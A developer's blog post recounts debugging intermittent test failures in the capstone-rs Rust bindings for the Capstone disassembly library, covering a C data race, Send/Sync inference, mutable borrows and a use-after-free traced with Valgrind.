A Rust FFI adventure in unsafety

2018-09-21T00:00:00+00:00

Recommended reading: ownership</a>, unsafe Rust</a>

Introduction 🔗</a></h1>
This blog post covers my adventure in fixing a bug in the Rust bindings for the Capstone C library</a>, a disassembly library that supports several CPU architectures. The capstone-rs</a> crate attempts to provide a Rusty, object-oriented interface.
You do not necessarily need previous experience in C code</a> or foreign function (FFI)</a> bindings to understand this blog post.
I will cover some of the steps I used to debug this problem. Hopefully, readers can learn from my mistakes.
Some code snippets have been simplified.
Capstone intro 🔗</a></h1>
In order to make it easier to understand the discussion, I'll give a brief overview of Capstone and capstone-rs</a>.
Capstone interprets an array of bytes as an array of instructions, providing information such as the address of the instruction, which registers are written, and information about the operands.
Capstone does not parse executable file formats such as ELF</a>, Mach-O</a>, or PE</a>.
Architecture 🔗</a></h2>
The code we are discussing is broken into three parts (from lowest level to highest level):

Capstone</a>: base C library that provides functionality (I am not a maintainer of this library)</li>
capstone-sys</a>: low-level Rust bindings (contains unsafe `external</code> function definitions and types)`Contains a captive version of the Capstone C library that is built with the Rust code</li> Talks directly to the C library</li> Exposes Rust types that correspond directly to the C types</li> </ul> </li> capstone-rs</a>: high-level Rust bindings (contains a safe, "Rustic" object-oriented interface) Talks directly to capstone-sys</li> </ul> </li> </ol> When I refer to "Capstone" or "the C code", I am referring to the base C library. When I refer to "the Rust code", I usually mean capstone-rs (unless otherwise specified). Capstone examples🔗</a></h2> The general workflow for Capstone C interface is: Get a Capstone handle</li> Disassemble instructions in a buffer</li> Close handle, freeing resources</li> </ol> Both example programs below disassemble an array of X86_64 instructions. The programs output the following: count = 4 0x1000: push rbp 0x1001: mov rax, qword ptr [rip + 0x13b8] 0x1008: jmp 0x8ae21 0x100d: xor r12d, r12d </code></pre> C example: #include <stdio.h> #include <inttypes.h> #include <capstone/capstone.h> #define X86_CODE \ "\x55\x48\x8b\x05\xb8\x13\x00\x00\xe9\x14\x9e\x08\x00\x45\x31\xe4" int main(void) { csh handle; cs_insn insn; size_t count; int rc = 0; // Get handle to Capstone library if (cs_open(CS_ARCH_X86, CS_MODE_64, &handle) != CS_ERR_OK) { return 1; } // turn ON extra detail cs_option(handle, CS_OPT_DETAIL, CS_OPT_ON); // disassemble instructions count = cs_disasm( handle, // Capstone handle (const uint8_t ) X86_CODE, // byte array to disassemble sizeof(X86_CODE)-1, // length of byte array 0x1000, 0, // disassemble as many instructions as possible &insn // reference to output ); if (count > 0) { printf("count = %zu\n", count); for (size_t i = 0; i < count; i++) { printf("0x%"PRIx64": %-6s %s\n", insn[i].address, insn[i].mnemonic, insn[i].op_str); } cs_free(insn, count); } else { puts("ERROR: Failed to disassemble given code!\n"); rc = 1; } cs_close(&handle); return rc; } </code></pre> Rust example: extern crate capstone; use capstone::prelude::; const X86_CODE: &'static [u8] = b"\x55\x48\x8b\x05\xb8\x13\x00\x00\xe9\x14\x9e\x08\x00\x45\x31\xe4"; fn main() { let mut cs = Capstone::new() // Call builder-pattern .x86() // X86 architecture .mode(arch::x86::ArchMode::Mode64) // 64-bit mode .detail(true) // Generate extra instruction details .build() .expect("Failed to create Capstone object"); // Get disassembled instructions let insns = cs.disasm_all(X86_CODE, 0x1000) .expect("Failed to disassemble"); println!("count = {}", insns.len()); for insn in insns.iter() { println!( "0x{:x}: {:6} {}", insn.address(), insn.mnemonic().unwrap_or(""), insn.op_str().unwrap_or("") ); } // No explicit free() needed // Capstone::drop() calls cs_close() } </code></pre> Initial analysis🔗</a></h1> A pull-request</a> first alerted to me that cargo test</code> failed sometimes on Mac OS. An example failure: $ cargo test ... test test::test_instruction_group_ids ... FAILED ... failures: ---- test::test_instruction_group_ids stdout ---- thread 'test::test_instruction_group_ids' panicked at 'Expected groups {1} does NOT match computed insn groups {110} with ', src/lib.rs:287:8 note: Run with `RUST_BACKTRACE=1` for a backtrace. </code></pre> I was unable to reproduce the bug on my GNU/Linux development machine (even after a thousand iterations of cargo test</code>). I needed a Mac to reproduce the bug. I first reproduced the bug with my brother-in-law (he provided the Mac computer). This was indeed the worst type of bug; the bug only showed up sometimes. Hunt for the data race🔗</a></h1> One case where tests fail only sometimes is a race condition</a>. One type of race condition is a data race</a>. Data races require: More than one thread accessing the same memory location at the same time</li> At least one of the threads is writing to the memory location</li> At least one of the threads is not correctly "synchronizing" around the memory access</li> </ol> I started by reading over the capstone-rs</a> Rust code but did not find a problem. capstone-rs</a> does not spawn threads. Then, I decided to look over the Capstone C source code. Capstone was not spawning threads, either. I realized that the cargo test</code> harness spawns multiple threads (to parallelize tests). But how could threads access the same memory location? The only way left to share memory was through global variables. My brother-in-law and I searched the Capstone C code for global variable writes. We saw that four separate functions called the archs_enable()</code> function. For example: cs_err CAPSTONE_API cs_open(cs_arch arch, cs_mode mode, csh handle) { /* Do some checks / archs_enable(); / ... / } </code></pre> We looked at the body of archs_enable()</code>. The static</code> variable initialized</code> is essentially a global variable (but only "visible" from within the archs_enable()</code> function). static void archs_enable(void) { / "static" makes this a global variable / static bool initialized = false; if (initialized) return; ARM_enable(); / Initialize other architectures / initialized = true; } </code></pre> For each architecture, archs_enable()</code> calls a _enable()</code> enable function. We peered inside ARM_enable()</code>: void ARM_enable(void) { cs_arch_init[CS_ARCH_ARM] = init; cs_arch_option[CS_ARCH_ARM] = option; cs_arch_destroy[CS_ARCH_ARM] = destroy; cs_arch_disallowed_mode_mask[CS_ARCH_ARM] = ~(CS_MODE_LITTLE_ENDIAN | CS_MODE_ARM | CS_MODE_V8 | CS_MODE_MCLASS | CS_MODE_THUMB | CS_MODE_BIG_ENDIAN); // support this arch all_arch |= (1 << CS_ARCH_ARM); } </code></pre> The arrays cs_arch_init</code>, cs_arch_option</code>, cs_arch_destroy</code>, and cs_arch_disallowed_mode_mask</code> are global! if (initialized) return; /* Initialize global arrays / initialized = true; </code></pre> The initialzed</code> global variable was read and modified without a lock! This was a potential data race. Safe Rust code guarantees the absence of data races, but the C language makes no such guarantee. If multiple threads entered archs_enabled()</code> simultaneously, initialized</code> would be false</code>. Each thread would attempt to initialize the global variables simultaneously. Afterward, each thread would set initialzed</code> to false. Since each thread would be attempting to initialize the arrays with the same values (they are constant), you may be tempted to think that this construction is safe. However, due to complications such as out of order execution</a>, a memory barrier</a> is also required. Otherwise, some CPU cores could "see" that initialized</code> is true but not yet "see" that global arrays are initialized the correct values. Note: I have since eliminated the upstream data race with a pull-request</a>. Fix Attempt 1🔗</a></h1> I first tried to work around this bug from within the Rust code. My brother-in-law and I investigated the primitives in the std::sync</code></a> module that could help. We wanted a primitive that would guarantee that initialization of the global variables would happen exactly once. To quote the std::sync::Once</code></a> documentation: A synchronization primitive which can be used to run a one-time global initialization. Useful for one-time initialization for FFI or related functionality. </blockquote> This fit our use case perfectly! However, because archs_enable()</code> was declared as static</code>, the symbol is not "visible" to consumers of library (such as capstone-sys or capstone-rs). static</code> declarations in C are similar to non-pub</code> declarations in Rust. In order to work around this issue, we called cs_version()</code> (which calls archs_enable()</code>). Of the exported Capstone functions that called archs_enable()</code>, cs_version()</code> seemed to have the least overhead. We defined a Rust function init_global_state()</code> that peforms the initialization. Since the cs_version()</code> is a C function, we had to use an unsafe</code> block to call the function. static INIT: Once = ONCE_INIT; fn init_global_state() { INIT.call_once(|| { let mut a = 0; let mut b = 0; unsafe { cs_version(&mut a, &mut b) }; }); } </code></pre> Next, we needed to call init_global_state()</code> before calling a C Capstone function. That way, we would initialized globals in archs_enable()</code> initialization in a thread-safe way. In the first pass with my brother-in-law, we inserted calls to init_global_state()</code> at the beginning of any Rust function that called a Capstone C function. The initial work resulted in a work-in-progress pull-request</a>. Fine-tuning global initialization🔗</a></h2> I knew that the global initialization we used was sub-optimal. While it would be safe to add extra synchronization, we would cause unnecessary slowdown in the capstone-rs Rust library. I decided to reason about the problem. Requirement: Before the first call to a C function that writes to the global arrays, we must call init_global_state()</code> to initialize safely. I realized that you can partition Rust functions into two groups: impl methods: functions that are in an impl</code> block AND take a self</code> parameter.</li> bare functions: all other functions. These functions are either: in an impl</code> block but do not take a self</code> parameter</li> outside of an impl</code> block</li> </ul> </li> </ul> If we call init_global_state()</code> when we construct a new instance of a type (struct</code> or enum</code>), then we do not need to call init_global_state()</code> in any of the impl methods of that type. For example, if we call init_global_state()</code> when we create a Capstone</code> instance, then we do not need to call init_global_state()</code> in Capstone::disasm_all()</code> (which takes a self</code> parameter). For these example, assume that MyType</code> is a struct</code> with private fields: Library users cannot instantiate the type "manually" by writing:/ Not allowed since MyType has private fields / let myvar = MyType { / ... / }; </code></pre> </li> Let's name any function that returns an instance of a type a "constructor". For example:impl MyType { fn new() -> MyType { / ... / } } </code></pre> </li> Then, as long as all constructors call init_global_state()</code>, then impl methods do not need to call init_global_state()</code>. Any time an impl method would be called, a self</code> parameter is required (by definition of impl method). This self</code> instance would have been created by a constructor that already called init_global_state()</code>.impl MyType { fn my_method(&self) { / The self parameter should have been created by a constructor / / (that should have initialized the globals) / } } </code></pre> </li> </ul> I formalized these claims in a comment</a>: /// Initialize global Capstone state in C library /// /// # CLAIMS /// /// 1. Any function F* (including methods) that calls a `capstone-sys` function G where G /// potentially mutates global state must ensure `init_global_state()` is called first. /// 2. Let T be a `struct`/`enum` with at least one non-public field and methods M defined. If /// all constructors C (functions that return type C) for T call `init_global_state()`, /// then methods M that take a `self` parameter do not need to call `init_global_state()`. /// /// Any `self` instance should have been been created by a constructor C that already called /// `init_global_state()` because T has non-public fields. Hence, consumers of the library /// cannot construct a T manually. </code></pre> Using this reasoning, I was able to remove several calls to init_global_state()</code>, elminating unnecessary synchronization. Fix status🔗</a></h2> After adding the thread-safe initialization code, cargo test</code> would still fail sometimes! I needed to keep looking... First attempt at using tools🔗</a></h1> My first attempt at using tools to help find the bug was not successful. Since I thought my bug was a threading issue, I tried Clang's ThreadSanitizer</a> feature and Valgrind's Helgrind</a> and DRD</a> plugins. Each of the tools only reported false positives. For example, DRD had output: ... ==14815== Conflicting load by thread 1 at 0x0661782c size 2 ==14815== at 0x4C46A1F: memmove (in /usr/lib/valgrind/vgpreload_drd-amd64-linux.so) ==14815== by 0x2D756F: copy_from_slice<u8> (mod.rs:712) ==14815== by 0x2D756F: copy_from_slice<u8> (slice.rs:1693) ==14815== by 0x2D756F: spec_extend<u8> (vec.rs:1886) ==14815== by 0x2D756F: extend_from_slice<u8> (vec.rs:1369) ==14815== by 0x2D756F: write (impls.rs:263) ==14815== by 0x2D756F: <std::io::buffered::BufWriter<W> as std::io::Write>::write (buffered.rs:583) ==14815== by 0x2D77C4: <std::io::buffered::LineWriter<W> as std::io::Write>::write (buffered.rs:895) ==14815== by 0x2D9EBE: write (stdio.rs:465) ==14815== by 0x2D9EBE: <std::io::stdio::Stdout as std::io::Write>::write (stdio.rs:450) ==14815== by 0x21127D: <term::terminfo::TerminfoTerminal<T> as std::io::Write>::write (mod.rs:271) ==14815== by 0x1E3AE4: write<Terminal> (impls.rs:118) ==14815== by 0x1E3AE4: write<std::io::stdio::Stdout> (lib.rs:655) ==14815== by 0x1E3AE4: std::io::Write::write_all (mod.rs:1098) ==14815== by 0x1F1E5A: write_plain<std::io::stdio::Stdout,&alloc::string::String> (pretty.rs:93) ==14815== by 0x1F1E5A: <test::formatters::pretty::PrettyFormatter<T>>::write_test_name (pretty.rs:151) ==14815== by 0x1F217E: <test::formatters::pretty::PrettyFormatter<T> as test::formatters::OutputFormatter>::write_result (pretty.rs:177) ==14815== by 0x1EC321: callback (lib.rs:856) ==14815== by 0x1EC321: test::run_tests_console::{{closure}} (lib.rs:924) ==14815== by 0x1EA9F8: run_tests<closure> (lib.rs:1145) ==14815== by 0x1EA9F8: test::run_tests_console (lib.rs:924) ==14815== by 0x1E6156: test::test_main (lib.rs:286) ==14815== by 0x1E6388: test::test_main_static (lib.rs:320) ... </code></pre> The stacktraces did not include code that I wrote, only code in the Rust test runner. &mut self</code> vs. &self</code>🔗</a></h1> Through compile-time borrow checks, the Rust compiler ensures that there can only be up to one mutable reference OR any number of immutable references</a> to a given variable. Perhaps I was exposing a non-mut</code> reference where I should be exposing a mut</code> reference? As the bindings author, I am responsible for describing to the Rust compiler how the borrowing and lifetimes work in the underlying C library. I decided to check my assumptions where I only took a mutable reference. In the C code for cs_disasm()</code></a>: size_t CAPSTONE_API cs_disasm( csh ud, const uint8_t *buffer, size_t size, uint64_t offset, size_t count, cs_insn **insn) { /* Declare more local variables / struct cs_struct handle = (struct cs_struct )(uintptr_t) ud; / Do some checks / if (handle->arch == CS_ARCH_ARM) handle->ITBlock.size = 0; / Do more stuff / } </code></pre> If the architecture is ARM, then cs_disasm()</code> mutates the handle. In capstone-rs</a>, we expose cs_disasm()</code> through the Capstone::disasm_()</code> family of methods. But, the methods take &self</code> parameter, which is not a mutable reference! As the bindings author, it is my responsibility to expose the correct interface that allows the Rust type system to ensure safety. It was an easy fix to have the methods take &mut self</code> instead of &self</code>. Fix status🔗</a></h2> Even after this second fix, cargo test</code> would still fail sometimes. I had look elsewhere... Automatic Send</code>/Sync</code>🔗</a></h1> At this stage, I was at a loss for what the problem could be. I considered the Send</code> and Sync</code> are "marker" traits</a>: Send</code></a>: it is safe to send a type over a channel</li> Sync</code></a>: it is safe to access a type from different threads</li> </ul> Perhaps some capstone-rs types were mistakenly identified as Send</code> and/or Sync</code>? Maybe Cargo generated tests that ran in parallel and had race conditions? Looking at the auto-generated cargo doc</code> documentation: I examined the Rust definition of the Capstone</code> struct: pub struct Capstone { csh: csh, mode: cs_mode, endian: cs_mode, syntax: cs_opt_value::Type, extra_mode: cs_mode, detail_enabled: bool, raw_mode: cs_mode, arch: Arch, } </code></pre> Since all of Capstone</code>'s fields are Send</code> and Sync</code>, the Rust compiler treated Capstone</code> as Send</code> and Sync</code>. But, the Capstone</code> type should not be Send</code> nor Sync</code>. The Capstone C library defines the handle type csh</code> as an alias for size_t</code> (equivalent to usize</code> in Rust). However, under the hood, csh</code> is cast as a pointer to an opaque type. How can we tell the Rust compiler stop stop inferring that the Capstone</code> struct is Send</code>/Sync</code>? According to the nomicon</a>: raw pointers are neither Send nor Sync (because they have no safety guards) </blockquote> Since the C library already treated the csh</code> field as a pointer, I just changed the csh</code> type to a mut c_void</code>. pub struct Capstone { csh: mut c_void, /* Other fields / } </code></pre> Fix status🔗</a></h2> The Capstone</code> struct was no longer Send</code>/Sync</code>, but cargo test</code> still failed. I kept searching... Second attempt at using tools: Valgrind Memcheck🔗</a></h1> I decided to revisit tools to help find the bugs, specifically Valgrind (since it is the easy to use). I decided to use the Memcheck plugin</a> (the default plugin) to look for non-threading bugs. Using the system allocator🔗</a></h2> The Valgrind framework uses dynamic binary instrumentation (DBI)</a> to run instrumentation code. Valgrind's Memcheck plugin works by tracking allocation calls (such as malloc()</code>) and memory reads/writes. Memcheck can catch bugs such as invalid memory reads/writes and memory leaks. To avoid issues</a>, I decided to use the system allocator (instead of the default jemalloc implementation). To make the nightly toolchain optional, I added an alloc_system</code> feature</a> to toggle the system allocator. I defined alloc_system</code> feature in Cargo.toml</code>: [features] default = [] alloc_system = [] </code></pre> Added conditional checks to enable the system allocator in src/lib.rs</code>: #[cfg(feature = "alloc_system")] use std::alloc::System; #[cfg(feature = "alloc_system")] #[global_allocator] static ALLOCATOR: System = System; </code></pre> Note: Since implementing the alloc_system</code> feature, Rust 1.28 stabilized global allocators</a>. Replicating the crash on Linux🔗</a></h2> I ran the tests under the nightly toolchain on my Ubuntu Linux laptop $ cargo +nightly test --features alloc_system Finished dev [unoptimized + debuginfo] target(s) in 0.08s Running target/debug/deps/capstone-7ce80c0a0e7a0946 running 41 tests test arch::arm64::test::test_arm64shift ... ok ... test test::test_arch_arm_detail ... ok test test::test_arch_mips_detail ... FAILED test test::test_arch_arm64_detail ... ok ... test test::test_arch_systemz ... ok test test::test_arch_x86_detail ... FAILED test test::test_arch_arm ... ok ... test test::test_x86_names ... ok test test::test_instruction_group_ids ... FAILED test test::test_arch_x86 ... ok test test::test_x86_simple ... ok test test::test_syntax ... ok failures: ---- test::test_arch_mips_detail stdout ---- thread 'test::test_arch_mips_detail' panicked at 'index 218 out of range for slice of length 8', libcore/slice/mod.rs:1965:5 note: Run with `RUST_BACKTRACE=1` for a backtrace. ---- test::test_arch_x86_detail stdout ---- thread 'test::test_arch_x86_detail' panicked at 'index 39 out of range for slice of length 8', libcore/slice/mod.rs:1965:5 ---- test::test_instruction_group_ids stdout ---- Insn { address: 4096, len: 1, bytes: [144], mnemonic: Some("nop"), op_str: Some("") } Insn { address: 4097, len: 2, bytes: [116, 5], mnemonic: Some("je"), op_str: Some("0x1008") } thread 'test::test_instruction_group_ids' panicked at 'Expected groups {InsnGroupId(1)} does NOT match computed insn groups {}', src/lib.rs:482:9 failures: test::test_arch_mips_detail test::test_arch_x86_detail test::test_instruction_group_ids test result: FAILED. 38 passed; 3 failed; 0 ignored; 0 measured; 0 filtered out error: test failed, to rerun pass '--lib' </code></pre> The tests actually failed! This was the first time cargo test</code> failed on my Linux development machine. Different tests failed each time (like on Mac OS). Sometimes, the test program did not complete and exited with SIGILL: illegal instruction</code>. Running under Valgrind🔗</a></h2> To make tests more consistent and reduce errors, I passed --test-threads=1</code> and test_syntax()</code>. At this point, I had the reduced test case to run under Valgrind. I ran the test binary directly (instead of the cargo test ...</code> invocation) to simplify debugging. Since, cargo test</code> spawns the test binary as a child process, I would have needed to trace the child process. $ valgrind --track-origins=yes --leak-check=full \ target/debug/deps/capstone-7ce80c0a0e7a0946 \ --test-threads=1 test::test_syntax ==12465== Memcheck, a memory error detector ==12465== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al. ==12465== Using Valgrind-3.13.0 and LibVEX; rerun with -h for copyright info ==12465== Command: target/debug/deps/capstone-7ce80c0a0e7a0946 --test-threads=1 test::test_syntax ==12465== running 1 test test test::test_syntax ... ==12465== Thread 2 test::test_synta: ==12465== Invalid read of size 1 ==12465== at 0x17876C: capstone::instruction::InsnDetail::groups_count (instruction.rs:284) ==12465== by 0x1786E6: capstone::instruction::InsnDetail::groups (instruction.rs:279) ==12465== by 0x196497: capstone::test::test_instruction_group_helper (lib.rs:464) ==12465== by 0x197654: capstone::test::instructions_match_group (lib.rs:540) ==12465== by 0x17F3A8: capstone::test::test_syntax (lib.rs:847) ==12465== by 0x1CB699: capstone::__test::TESTS::{{closure}} (lib.rs:764) ==12465== by 0x18A91D: core::ops::function::FnOnce::call_once (function.rs:223) ==12465== by 0x1F0B8E: {{closure}} (lib.rs:1451) ==12465== by 0x1F0B8E: call_once<closure,()> (function.rs:223) ==12465== by 0x1F0B8E: <F as alloc::boxed::FnBox<A>>::call_box (boxed.rs:640) ==12465== by 0x2FF739: __rust_maybe_catch_panic (lib.rs:105) ==12465== by 0x20D2FD: try<(),std::panic::AssertUnwindSafe<alloc::boxed::Box<FnBox<()>>>> (panicking.rs:289) ==12465== by 0x20D2FD: catch_unwind<std::panic::AssertUnwindSafe<alloc::boxed::Box<FnBox<()>>>,()> (panic.rs:397) ==12465== by 0x20D2FD: {{closure}} (lib.rs:1406) ==12465== by 0x20D2FD: std::sys_common::backtrace::__rust_begin_short_backtrace (backtrace.rs:136) ==12465== by 0x212174: {{closure}}<closure,()> (mod.rs:409) ==12465== by 0x212174: call_once<(),closure> (panic.rs:313) ==12465== by 0x212174: _ZN3std9panicking3try7do_call17h8f30d126163b9f85E.llvm.2059438285251411021 (panicking.rs:310) ==12465== by 0x2FF739: __rust_maybe_catch_panic (lib.rs:105) ==12465== Address 0x5e2b19a is 42 bytes inside a block of size 1,528 free'd ==12465== at 0x4C30D3B: free (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==12465== by 0x236234: cs_free (in capstone-rs/target/debug/deps/capstone-7ce80c0a0e7a0946) ==12465== by 0x1780E6: <capstone::instruction::Instructions<'a> as core::ops::drop::Drop>::drop (instruction.rs:66) ==12465== by 0x18B80D: core::ptr::drop_in_place (ptr.rs:59) ==12465== by 0x1971B3: capstone::test::instructions_match_group (lib.rs:524) ==12465== by 0x17F3A8: capstone::test::test_syntax (lib.rs:847) ==12465== by 0x1CB699: capstone::__test::TESTS::{{closure}} (lib.rs:764) ==12465== by 0x18A91D: core::ops::function::FnOnce::call_once (function.rs:223) ==12465== by 0x1F0B8E: {{closure}} (lib.rs:1451) ==12465== by 0x1F0B8E: call_once<closure,()> (function.rs:223) ==12465== by 0x1F0B8E: <F as alloc::boxed::FnBox<A>>::call_box (boxed.rs:640) ==12465== by 0x2FF739: __rust_maybe_catch_panic (lib.rs:105) ==12465== by 0x20D2FD: try<(),std::panic::AssertUnwindSafe<alloc::boxed::Box<FnBox<()>>>> (panicking.rs:289) ==12465== by 0x20D2FD: catch_unwind<std::panic::AssertUnwindSafe<alloc::boxed::Box<FnBox<()>>>,()> (panic.rs:397) ==12465== by 0x20D2FD: {{closure}} (lib.rs:1406) ==12465== by 0x20D2FD: std::sys_common::backtrace::__rust_begin_short_backtrace (backtrace.rs:136) ==12465== by 0x212174: {{closure}}<closure,()> (mod.rs:409) ==12465== by 0x212174: call_once<(),closure> (panic.rs:313) ==12465== by 0x212174: _ZN3std9panicking3try7do_call17h8f30d126163b9f85E.llvm.2059438285251411021 (panicking.rs:310) ==12465== Block was alloc'd at ==12465== at 0x4C2FB0F: malloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==12465== by 0x235F9A: cs_disasm (in capstone-rs/target/debug/deps/capstone-7ce80c0a0e7a0946) ==12465== by 0x1ED9A2: capstone::capstone::Capstone::disasm (capstone.rs:212) ==12465== by 0x1ED8EA: capstone::capstone::Capstone::disasm_all (capstone.rs:188) ==12465== by 0x197107: capstone::test::instructions_match_group (lib.rs:521) ==12465== by 0x17F3A8: capstone::test::test_syntax (lib.rs:847) ==12465== by 0x1CB699: capstone::__test::TESTS::{{closure}} (lib.rs:764) ==12465== by 0x18A91D: core::ops::function::FnOnce::call_once (function.rs:223) ==12465== by 0x1F0B8E: {{closure}} (lib.rs:1451) ==12465== by 0x1F0B8E: call_once<closure,()> (function.rs:223) ==12465== by 0x1F0B8E: <F as alloc::boxed::FnBox<A>>::call_box (boxed.rs:640) ==12465== by 0x2FF739: __rust_maybe_catch_panic (lib.rs:105) ==12465== by 0x20D2FD: try<(),std::panic::AssertUnwindSafe<alloc::boxed::Box<FnBox<()>>>> (panicking.rs:289) ==12465== by 0x20D2FD: catch_unwind<std::panic::AssertUnwindSafe<alloc::boxed::Box<FnBox<()>>>,()> (panic.rs:397) ==12465== by 0x20D2FD: {{closure}} (lib.rs:1406) ==12465== by 0x20D2FD: std::sys_common::backtrace::__rust_begin_short_backtrace (backtrace.rs:136) ==12465== by 0x212174: {{closure}}<closure,()> (mod.rs:409) ==12465== by 0x212174: call_once<(),closure> (panic.rs:313) ==12465== by 0x212174: _ZN3std9panicking3try7do_call17h8f30d126163b9f85E.llvm.2059438285251411021 (panicking.rs:310) ==12465== ... ok test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 40 filtered out ==12465== ==12465== HEAP SUMMARY: ==12465== in use at exit: 32 bytes in 1 blocks ==12465== total heap usage: 775 allocs, 774 frees, 190,287 bytes allocated ==12465== ==12465== LEAK SUMMARY: ==12465== definitely lost: 0 bytes in 0 blocks ==12465== indirectly lost: 0 bytes in 0 blocks ==12465== possibly lost: 0 bytes in 0 blocks ==12465== still reachable: 32 bytes in 1 blocks ==12465== suppressed: 0 bytes in 0 blocks ==12465== Reachable blocks (those to which a pointer was found) are not shown. ==12465== To see them, rerun with: --leak-check=full --show-leak-kinds=all ==12465== ==12465== For counts of detected and suppressed errors, rerun with: -v ==12465== ERROR SUMMARY: 123 errors from 5 contexts (suppressed: 0 from 0) </code></pre> We can see there that Valgrind's Memcheck plugin showed there was an error Invalid read of size 1</code>. Memcheck also gave us stack traces of where the memory was originally allocated and freed (since we passed --track-origins=yes</code>/--leak-check=full</code>, ). Most of the stack traces relate to the test runner. The output relevant to capstone-rs is: ==12465== Invalid read of size 1 ==12465== at 0x17876C: capstone::instruction::InsnDetail::groups_count (instruction.rs:284) ==12465== by 0x1786E6: capstone::instruction::InsnDetail::groups (instruction.rs:279) ==12465== by 0x196497: capstone::test::test_instruction_group_helper (lib.rs:464) ==12465== by 0x197654: capstone::test::instructions_match_group (lib.rs:540) ==12465== by 0x17F3A8: capstone::test::test_syntax (lib.rs:847) ==12465== Address 0x5e2b19a is 42 bytes inside a block of size 1,528 free'd ==12465== at 0x4C30D3B: free (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==12465== by 0x236234: cs_free (in capstone-rs/target/debug/deps/capstone-7ce80c0a0e7a0946) ==12465== by 0x1780E6: <capstone::instruction::Instructions<'a> as core::ops::drop::Drop>::drop (instruction.rs:66) ==12465== by 0x18B80D: core::ptr::drop_in_place (ptr.rs:59) ==12465== by 0x1971B3: capstone::test::instructions_match_group (lib.rs:524) ==12465== by 0x17F3A8: capstone::test::test_syntax (lib.rs:847) ==12465== Block was alloc'd at ==12465== at 0x4C2FB0F: malloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==12465== by 0x235F9A: cs_disasm (in capstone-rs/target/debug/deps/capstone-7ce80c0a0e7a0946) ==12465== by 0x1ED9A2: capstone::capstone::Capstone::disasm (capstone.rs:212) ==12465== by 0x1ED8EA: capstone::capstone::Capstone::disasm_all (capstone.rs:188) ==12465== by 0x197107: capstone::test::instructions_match_group (lib.rs:521) ==12465== by 0x17F3A8: capstone::test::test_syntax (lib.rs:847) </code></pre> Notice that Rust functions (such as capstone::capstone::Capstone::disasm</code>) and C functions (such as cs_disasm()</code>) appeared in the output. Valgrind does not care about the source langauge of functions. Valgrind even correctly demangles the names. Examining the Valgrind output🔗</a></h3> Allocate and free (instructions_match_group()</code> in lib.rs</code>): // cs: &mut Capstone // insns_buf: Vec<u8> 521: let insns: Vec<Insn> = cs.disasm_all(&insns_buf, 0x1000) // Alloc 522: .expect("Failed to disassemble") 523: .iter() 524: .collect(); // Free </code></pre> We can see here that cs.disasm_all()</code> caused the allocation. The resulting instructions are collected into a Vec<Insn></code>. The underlying memory buffer with the instructions is immediately freed after the collect()</code> (implicitly through the Drop</code> trait</a>). Invalid read (test_instruction_group_helper()</code> in lib.rs</code>): // cs: &Capstone // insn: &Insn 461: let detail = cs.insn_detail(insn).expect("Unable to get detail"); ... // Invalid read 464: let instruction_group_ids: HashSet<_> = detail.groups().collect(); </code></pre> The insn_detail()</code> method</a> of the Capstone</code> struct</a> takes an Insn</code> instance</a> to get the InsnDetail</code> struct</a> that contains extra details about instructions. For example, InsnDetail</code> contains information about registers that are implicitly read/written and logical groups to which an instruction belongs. At this point, I knew that memory was being freed too soon. The InsnDetail</code> struct relies on the memory allocated by cs_disasm()</code> to remain. Even though tests were passing on Linux with the default allocator, the tests actually read from freed memory. Rust's default allocator simply masked the issue. The Final Fix🔗</a></h1> The Capstone</code> instance did not live long enough. How could we fix the problem? Answer: Declaring a lifetime for the Capstone</code> struct</a>. I added the lifetime 'cs</code> to the Capstone</code> struct definition: pub struct Capstone<'cs> { / ... / _marker: PhantomData<&'cs mut c_void>, } </code></pre> The new lifetime 'cs</code> told the Rust type system that the Capstone</code> struct logically contains a reference. After implementing the change, the tests passed (on Mac OS and Linux). cargo +nightly test --features alloc_system </code></pre> Valgrind's Memcheck plugin also did not detect any invalid reads: valgrind ./target/debug/deps/capstone-cf27dd2002993511 </code></pre> The test code that contained the allocation and free: // cs: &mut Capstone // insns_buf: Vec<u8> let insns: Vec<Insn> = cs.disasm_all(&insns_buf, 0x1000) // Alloc .expect("Failed to disassemble") .iter() .collect(); // Free </code></pre> However, that code is not actually valid. After adding adding the lifetime 'a</code> to Capstone</code>, I got the following compile error: error[E0597]: borrowed value does not live long enough --> src/lib.rs:564:29 | 564 | let insns: Vec<_> = cs.disasm_all(&insns_buf, 0x1000) | _^ 565 | | .expect("Failed to disassemble") | |________________^ temporary value does not live long enough 566 | .iter() 567 | .collect(); | - temporary value dropped here while still borrowed ... 581 | } | - temporary value needs to live until here | = note: consider using a `let` binding to increase its lifetime </pre> The Instructions</code> temporary variable returned by expect()</code> does not live long enough. The Instructions</code> type: Returns an iterator over the instructions with the iter()</code> method</li> Frees the memory allocated by disasm_all()</code> in the Drop</code> implementation.</li> </ol> That means that if the temporary Instructions</code> is dropped early, then: The underlying buffer with the instructions will be dropped.</li> The final collect()</code>'d vector will contain dangling references to instructions that have already been freed.</li> </ol> In order to fix the test code, I rewrote the snippet as: // cs: &mut Capstone // insns_buf: Vec<u8> let insns_backing: Instructions = cs.disasm_all(&insns_buf, 0x1000) .expect("Failed to disassemble"); let insns: Vec<_> = insns_backing.iter().collect(); </code></pre> The local variable insns_backing</code> lives until the end of the function, so the insns</code> variable does not contain dangling references. Why does adding a lifetime work?🔗</a></h2> The "temporary value does not live long enough" error led me to the bug in the code. But, I'm not sure why adding a lifetime to the `Capstone` struct fixed* the error. Why didn't the Rust compiler emit a warning when there was no lifetime? </del> If you have any ideas, please share them in the comments</a>. Update 2018-10-05: Merged pull-request</a> from earthengine</a> that removes the extra lifetime on the Capstone</code> structure. The Capstone structure "owns" the handle allocation, so no lifetime needs to be exposed. Conclusion🔗</a></h1> This bug was originally classified as Mac OS-only. Even then, tests only failed sometimes. There were several failed attempts to fix the bug, but I discovered (and fixed) other bugs. For example, the Capstone</code> struct was found to be Send</code>/Sync</code>. I was also able to finaly track down the underlying bug with Valgrind. Even though Valgrind is usually used on code that is written in C/C++, Valgrind is a useful tool for programs written in Rust. I learned several lessons in debugging this issue: Extensive tests help you find and fix bugs. capstone-rs contains over 2000 lines of tests</a>. Without the Rust tests, the test failure on Mac OS would have never been reported.</li> Use debugging tools. Valgrind's Memcheck plugin helped track down the bug. Safe Rust code 